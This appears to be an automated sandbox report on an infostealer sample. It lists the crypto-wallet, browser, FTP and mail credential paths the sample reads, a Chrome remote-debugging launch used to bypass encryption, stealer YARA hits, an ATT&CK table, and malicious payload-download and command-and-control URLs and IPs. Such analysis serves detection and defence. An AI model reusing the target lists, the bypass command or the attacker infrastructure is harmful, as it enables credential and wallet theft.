Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\random.exe.7.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\random.exe.7.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\random.exe.7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\random.exe.7.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 18.0.Cq6Id6x.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.36c94e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.36c94e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000016.00000003.3184439124.0000000003160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3178108749.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3197552170.0000000003170000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3185126832.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2686782883.0000000000E51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2072783452.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: random.exe.7.exe PID: 6800, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	111 Deobfuscate/Decode Files or Information	21 Input Capture	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	358 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1081 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	281 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	281 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
random.exe.7.exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
random.exe.7.exe	100%	Avira	TR/Crypt.TPM.Gen
random.exe.7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Documents\BKKFCFBKFC.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/burpin1/random.exeed2/	0%	Avira URL Cloud	safe
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	0%	Avira URL Cloud	safe
http://specs.openid.net/auth/2.0$dnoa.request_nonce	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exe6O2	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/pape/1.0	0%	Avira URL Cloud	safe
http://31.41.244.11/files/8047245472/Cq6Id6x.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/burpin1/random.exe01	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exees/burpin1/random.exe4001	0%	Avira URL Cloud	safe
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpfox	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exedc4e1v	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllIk	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exe7d1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exeb2	0%	Avira URL Cloud	safe
http://185.215.113.206c4becf79229cb002.php08727f07d07c87b82d81207b9d6e-release	0%	Avira URL Cloud	safe
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	0%	Avira URL Cloud	safe
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	0%	Avira URL Cloud	safe
https://grannyejh.lat/GS	100%	Avira URL Cloud	malware
http://specs.openid.net/extensions/oauth/1.0	0%	Avira URL Cloud	safe
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	0%	Avira URL Cloud	safe
https://lossekniyyt.click/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/8047245472/Cq6Id6x.exeswsock.dll	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9	100%	Avira URL Cloud	malware
https://lossekniyyt.click/$G	0%	Avira URL Cloud	safe
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	0%	Avira URL Cloud	safe
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	0%	Avira URL Cloud	safe
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll)	100%	Avira URL Cloud	malware
http://specs.openid.net/auth/2.0	0%	Avira URL Cloud	safe
http://schemas.openid.net/pape/policies/2007/06/none	0%	Avira URL Cloud	safe
https://lossekniyyt.click/api	0%	Avira URL Cloud	safe
http://31.41.244.11/files/8047245472/Cq6Id6x.exeXYZ0123456789	0%	Avira URL Cloud	safe
http://185.215.113.206/cA	100%	Avira URL Cloud	malware
https://lossekniyyt.click/tG	0%	Avira URL Cloud	safe
https://lossekniyyt.click/apio	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpc/	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exe#2	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805147	0%	Avira URL Cloud	safe
http://namespace.google.com/openid/xmlns	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe9	0%	Avira URL Cloud	safe
http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf	0%	Avira URL Cloud	safe
lossekniyyt.click	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllv&E-	100%	Avira URL Cloud	malware
https://grannyejh.lat/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.181.46	true	false	high
lossekniyyt.click	104.21.12.88	true	true	unknown
grannyejh.lat	172.67.179.109	true	false	high
www.google.com	142.250.181.132	true	false	high
sweepyribs.lat	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
energyaffai.lat	false		high
grannyejh.lat	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
necklacebudi.lat	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
crosshuaht.lat	false		high
https://lossekniyyt.click/api	true	Avira URL Cloud: safe	unknown
lossekniyyt.click	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	false		high
